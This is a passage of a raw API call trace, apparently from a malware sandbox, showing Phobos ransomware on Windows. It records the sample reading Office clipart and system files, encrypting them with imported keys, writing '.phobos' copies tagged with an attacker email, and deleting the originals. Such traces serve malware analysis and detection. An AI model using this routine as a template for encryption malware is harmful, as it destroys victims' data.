files\\common files\\system\\ado\\adojavas.inc"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0132.456] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x2fcf988 | out: lpFileSize=0x2fcf988*=14856) returned 1 [0132.456] CloseHandle (hObject=0x2e8) returned 1 [0132.456] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc" (normalized: "c:\\program files\\common files\\system\\ado\\adojavas.inc")) returned 0x20 [0132.456] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\system\\ado\\adojavas.inc.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0132.456] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc" (normalized: "c:\\program files\\common files\\system\\ado\\adojavas.inc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0132.456] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2fcf9e8 | out: pbBuffer=0x2fcf9e8) returned 1 [0132.456] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\adovbs.inc" (normalized: "c:\\program files\\common files\\system\\ado\\adovbs.inc"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0132.456] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x2fcf988 | out: lpFileSize=0x2fcf988*=15195) returned 1 [0132.456] CloseHandle (hObject=0x2e8) returned 1 [0132.456] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\adovbs.inc" (normalized: "c:\\program files\\common files\\system\\ado\\adovbs.inc")) returned 0x20 [0132.457] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\adovbs.inc.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\system\\ado\\adovbs.inc.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0132.457] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\adovbs.inc" (normalized: "c:\\program files\\common files\\system\\ado\\adovbs.inc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0132.457] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2fcf9e8 | out: pbBuffer=0x2fcf9e8) returned 1 [0132.457] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\adcjavas.inc" (normalized: "c:\\program files\\common files\\system\\msadc\\adcjavas.inc"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0132.457] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x2fcf988 | out: lpFileSize=0x2fcf988*=630) returned 1 [0132.457] CloseHandle (hObject=0x2e8) returned 1 [0132.457] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\adcjavas.inc" (normalized: "c:\\program files\\common files\\system\\msadc\\adcjavas.inc")) returned 0x20 [0132.457] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\adcjavas.inc.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\system\\msadc\\adcjavas.inc.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0132.457] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\adcjavas.inc" (normalized: "c:\\program files\\common files\\system\\msadc\\adcjavas.inc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0132.457] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2fcf9e8 | out: pbBuffer=0x2fcf9e8) returned 1 [0132.457] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\adcvbs.inc" (normalized: "c:\\program files\\common files\\system\\msadc\\adcvbs.inc"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0132.458] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x2fcf988 | out: lpFileSize=0x2fcf988*=623) returned 1 [0132.458] CloseHandle (hObject=0x2e8) returned 1 [0132.458] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\adcvbs.inc" (normalized: "c:\\program files\\common files\\system\\msadc\\adcvbs.inc")) returned 0x20 [0132.458] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\adcvbs.inc.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\system\\msadc\\adcvbs.inc.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0132.458] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\adcvbs.inc" (normalized: "c:\\program files\\common files\\system\\msadc\\adcvbs.inc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0132.458] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2fcf9e8 | out: pbBuffer=0x2fcf9e8) returned 1 [0132.458] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\oledbjvs.inc" (normalized: "c:\\program files\\common files\\system\\ole db\\oledbjvs.inc"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0132.458] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x2fcf988 | out: lpFileSize=0x2fcf988*=9804) returned 1 [0132.458] CloseHandle (hObject=0x2e8) returned 1 [0132.458] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\oledbjvs.inc" (normalized: "c:\\program files\\common files\\system\\ole db\\oledbjvs.inc")) returned 0x20 [0132.458] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\oledbjvs.inc.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\system\\ole db\\oledbjvs.inc.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0132.458] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\oledbjvs.inc" (normalized: "c:\\program files\\common files\\system\\ole db\\oledbjvs.inc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0132.458] ResetEvent (hEvent=0x2bc) returned 1 [0132.459] SetEvent (hEvent=0x2c0) returned 1 [0132.459] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2fcf9e8 | out: pbBuffer=0x2fcf9e8) returned 1 [0132.459] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\oledbvbs.inc" (normalized: "c:\\program files\\common files\\system\\ole db\\oledbvbs.inc"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0132.459] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x2fcf988 | out: lpFileSize=0x2fcf988*=9975) returned 1 [0132.459] CloseHandle (hObject=0x2e8) returned 1 [0132.459] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\oledbvbs.inc" (normalized: "c:\\program files\\common files\\system\\ole db\\oledbvbs.inc")) returned 0x20 [0132.459] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\oledbvbs.inc.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\system\\ole db\\oledbvbs.inc.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0132.459] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\oledbvbs.inc" (normalized: "c:\\program files\\common files\\system\\ole db\\oledbvbs.inc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0132.459] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0132.707] ResetEvent (hEvent=0x2bc) returned 1 [0132.707] SetEvent (hEvent=0x2c0) returned 1 [0132.707] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2fcf9e8 | out: pbBuffer=0x2fcf9e8) returned 1 [0132.707] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01170_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01170_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0132.707] GetFileSizeEx (in: hFile=0x2e4, lpFileSize=0x2fcf988 | out: lpFileSize=0x2fcf988*=2404) returned 1 [0132.707] CloseHandle (hObject=0x2e4) returned 1 [0132.708] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01170_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01170_.wmf")) returned 0x220 [0132.708] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01170_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01170_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0x20 [0132.708] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0132.708] ResetEvent (hEvent=0x2bc) returned 1 [0132.708] SetEvent (hEvent=0x2c0) returned 1 [0132.708] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2fcf9e8 | out: pbBuffer=0x2fcf9e8) returned 1 [0132.708] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01171_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01171_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0132.708] GetFileSizeEx (in: hFile=0x2e4, lpFileSize=0x2fcf988 | out: lpFileSize=0x2fcf988*=2052) returned 1 [0132.708] CloseHandle (hObject=0x2e4) returned 1 [0132.709] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01171_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01171_.wmf")) returned 0x220 [0132.709] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01171_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01171_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0x20 [0132.709] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0132.709] ResetEvent (hEvent=0x2bc) returned 1 [0132.709] SetEvent (hEvent=0x2c0) returned 1 [0132.709] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2fcf9e8 | out: pbBuffer=0x2fcf9e8) returned 1 [0132.709] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01172_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01172_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0132.709] GetFileSizeEx (in: hFile=0x2e4, lpFileSize=0x2fcf988 | out: lpFileSize=0x2fcf988*=2232) returned 1 [0132.709] CloseHandle (hObject=0x2e4) returned 1 [0132.709] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01172_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01172_.wmf")) returned 0x220 [0132.709] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01172_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01172_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0132.709] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01172_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01172_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0132.710] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcf928 | out: lpNewFilePointer=0x0) returned 1 [0132.710] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcf928 | out: lpNewFilePointer=0x0) returned 1 [0132.710] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01172_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01172_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0132.710] CryptImportKey (in: hProv=0x7268e0, pbData=0x2fcf8e0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2fcf93c | out: phKey=0x2fcf93c*=0x752cd8) returned 1 [0132.710] CryptSetKeyParam (hKey=0x752cd8, dwParam=0x1, pbData=0x2fcf9e8, dwFlags=0x0) returned 1 [0132.710] ReadFile (in: hFile=0x2e4, lpBuffer=0x3359020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2fcf964, lpOverlapped=0x0 | out: lpBuffer=0x3359020*, lpNumberOfBytesRead=0x2fcf964*=0x8b8, lpOverlapped=0x0) returned 1 [0132.730] CryptEncrypt (in: hKey=0x752cd8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3359020*, pdwDataLen=0x2fcf900*=0x8c0, dwBufLen=0x8c0 | out: pbData=0x3359020*, pdwDataLen=0x2fcf900*=0x8c0) returned 1 [0132.730] WriteFile (in: hFile=0x308, lpBuffer=0x3359020*, nNumberOfBytesToWrite=0x8c0, lpNumberOfBytesWritten=0x2fcf948, lpOverlapped=0x0 | out: lpBuffer=0x3359020*, lpNumberOfBytesWritten=0x2fcf948*=0x8c0, lpOverlapped=0x0) returned 1 [0132.731] CryptImportKey (in: hProv=0x7268e0, pbData=0x2fcf8d4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2fcf940 | out: phKey=0x2fcf940*=0x752d98) returned 1 [0132.731] CryptSetKeyParam (hKey=0x752d98, dwParam=0x1, pbData=0x2fcf9e8, dwFlags=0x0) returned 1 [0132.731] CryptEncrypt (in: hKey=0x752d98, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3359020*, pdwDataLen=0x2fcf900*=0x40, dwBufLen=0x40 | out: pbData=0x3359020*, pdwDataLen=0x2fcf900*=0x40) returned 1 [0132.731] CryptDestroyKey (hKey=0x752d98) returned 1 [0132.731] WriteFile (in: hFile=0x308, lpBuffer=0x3359020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2fcf948, lpOverlapped=0x0 | out: lpBuffer=0x3359020*, lpNumberOfBytesWritten=0x2fcf948*=0xf2, lpOverlapped=0x0) returned 1 [0132.731] CryptDestroyKey (hKey=0x752cd8) returned 1 [0132.731] CloseHandle (hObject=0x2e4) returned 1 [0132.731] CloseHandle (hObject=0x308) returned 1 [0132.731] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01172_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01172_.wmf")) returned 1 [0132.732] SetEvent (hEvent=0x2b8) returned 1 [0132.732] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2fcf9e8 | out: pbBuffer=0x2fcf9e8) returned 1 [0132.732] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01176_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01176_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0132.732] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x2fcf988 | out: lpFileSize=0x2fcf988*=1888) returned 1 [0132.732] CloseHandle (hObject=0x308) returned 1 [0132.733] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01176_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01176_.wmf")) returned 0x220 [0132.733] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01176_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01176_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0132.733] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01176_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01176_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0132.733] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcf928 | out: lpNewFilePointer=0x0) returned 1 [0132.733] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcf928 | out: lpNewFilePointer=0x0) returned 1 [0132.733] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01176_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01176_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0132.733] CryptImportKey (in: hProv=0x7268e0, pbData=0x2fcf8e0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2fcf93c | out: phKey=0x2fcf93c*=0x752ad8) returned 1 [0132.733] CryptSetKeyParam (hKey=0x752ad8, dwParam=0x1, pbData=0x2fcf9e8, dwFlags=0x0) returned 1 [0132.733] ReadFile (in: hFile=0x308, lpBuffer=0x3359020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2fcf964, lpOverlapped=0x0 | out: lpBuffer=0x3359020*, lpNumberOfBytesRead=0x2fcf964*=0x760, lpOverlapped=0x0) returned 1 [0132.763] CryptEncrypt (in: hKey=0x752ad8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3359020*, pdwDataLen=0x2fcf900*=0x770, dwBufLen=0x770 | out: pbData=0x3359020*, pdwDataLen=0x2fcf900*=0x770) returned 1 [0132.763] WriteFile (in: hFile=0x2e4, lpBuffer=0x3359020*, nNumberOfBytesToWrite=0x770, lpNumberOfBytesWritten=0x2fcf948, lpOverlapped=0x0 | out: lpBuffer=0x3359020*, lpNumberOfBytesWritten=0x2fcf948*=0x770, lpOverlapped=0x0) returned 1 [0132.764] CryptImportKey (in: hProv=0x7268e0, pbData=0x2fcf8d4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2fcf940 | out: phKey=0x2fcf940*=0x752d58) returned 1 [0132.764] CryptSetKeyParam (hKey=0x752d58, dwParam=0x1, pbData=0x2fcf9e8, dwFlags=0x0) returned 1 [0132.764] CryptEncrypt (in: hKey=0x752d58, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3359020*, pdwDataLen=0x2fcf900*=0x40, dwBufLen=0x40 | out: pbData=0x3359020*, pdwDataLen=0x2fcf900*=0x40) returned 1 [0132.764] CryptDestroyKey (hKey=0x752d58) returned 1 [0132.764] WriteFile (in: hFile=0x2e4, lpBuffer=0x3359020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2fcf948, lpOverlapped=0x0 | out: lpBuffer=0x3359020*, lpNumberOfBytesWritten=0x2fcf948*=0xf2, lpOverlapped=0x0) returned 1 [0132.764] CryptDestroyKey (hKey=0x752ad8) returned 1 [0132.764] CloseHandle (hObject=0x308) returned 1 [0132.764] CloseHandle (hObject=0x2e4) returned 1 [0132.764] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01176_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01176_.wmf")) returned 1 [0132.765] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2fcf9e8 | out: pbBuffer=0x2fcf9e8) returned 1 [0132.765] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01180_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01180_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0132.765] GetFileSizeEx (in: hFile=0x2e4, lpFileSize=0x2fcf988 | out: lpFileSize=0x2fcf988*=2084) returned 1 [0132.765] CloseHandle (hObject=0x2e4) returned 1 [0132.765] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01180_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01180_.wmf")) returned 0x220 [0132.765] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01180_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01180_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0132.765] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01180_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01180_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0132.766] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcf928 | out: lpNewFilePointer=0x0) returned 1 [0132.766] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcf928 | out: lpNewFilePointer=0x0) returned 1 [0132.766] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01180_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01180_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0132.766] CryptImportKey (in: hProv=0x7268e0, pbData=0x2fcf8e0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2fcf93c | out: phKey=0x2fcf93c*=0x753198) returned 1 [0132.766] CryptSetKeyParam (hKey=0x753198, dwParam=0x1, pbData=0x2fcf9e8, dwFlags=0x0) returned 1 [0132.766] ReadFile (in: hFile=0x2e4, lpBuffer=0x3359020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2fcf964, lpOverlapped=0x0 | out: lpBuffer=0x3359020*, lpNumberOfBytesRead=0x2fcf964*=0x824, lpOverlapped=0x0) returned 1 [0132.794] CryptEncrypt (in: hKey=0x753198, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3359020*, pdwDataLen=0x2fcf900*=0x830, dwBufLen=0x830 | out: pbData=0x3359020*, pdwDataLen=0x2fcf900*=0x830) returned 1 [0132.794] WriteFile (in: hFile=0x308, lpBuffer=0x3359020*, nNumberOfBytesToWrite=0x830, lpNumberOfBytesWritten=0x2fcf948, lpOverlapped=0x0 | out: lpBuffer=0x3359020*, lpNumberOfBytesWritten=0x2fcf948*=0x830, lpOverlapped=0x0) returned 1 [0132.799] CryptImportKey (in: hProv=0x7268e0, pbData=0x2fcf8d4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2fcf940 | out: phKey=0x2fcf940*=0x752fd8) returned 1 [0132.799] CryptSetKeyParam (hKey=0x752fd8, dwParam=0x1, pbData=0x2fcf9e8, dwFlags=0x0) returned 1 [0132.799] CryptEncrypt (in: hKey=0x752fd8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3359020*, pdwDataLen=0x2fcf900*=0x40, dwBufLen=0x40 | out: pbData=0x3359020*, pdwDataLen=0x2fcf900*=0x40) returned 1 [0132.799] CryptDestroyKey (hKey=0x752fd8) returned 1 [0132.799] WriteFile (in: hFile=0x308, lpBuffer=0x3359020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2fcf948, lpOverlapped=0x0 | out: lpBuffer=0x3359020*, lpNumberOfBytesWritten=0x2fcf948*=0xf2, lpOverlapped=0x0) returned 1 [0132.799] CryptDestroyKey (hKey=0x753198) returned 1 [0132.799] CloseHandle (hObject=0x2e4) returned 1 [0132.799] CloseHandle (hObject=0x308) returned 1 [0132.799] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01180_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01180_.wmf")) returned 1 [0132.805] SetEvent (hEvent=0x2b8) returned 1 [0132.805] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2fcf9e8 | out: pbBuffer=0x2fcf9e8) returned 1 [0132.805] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01182_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01182_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, 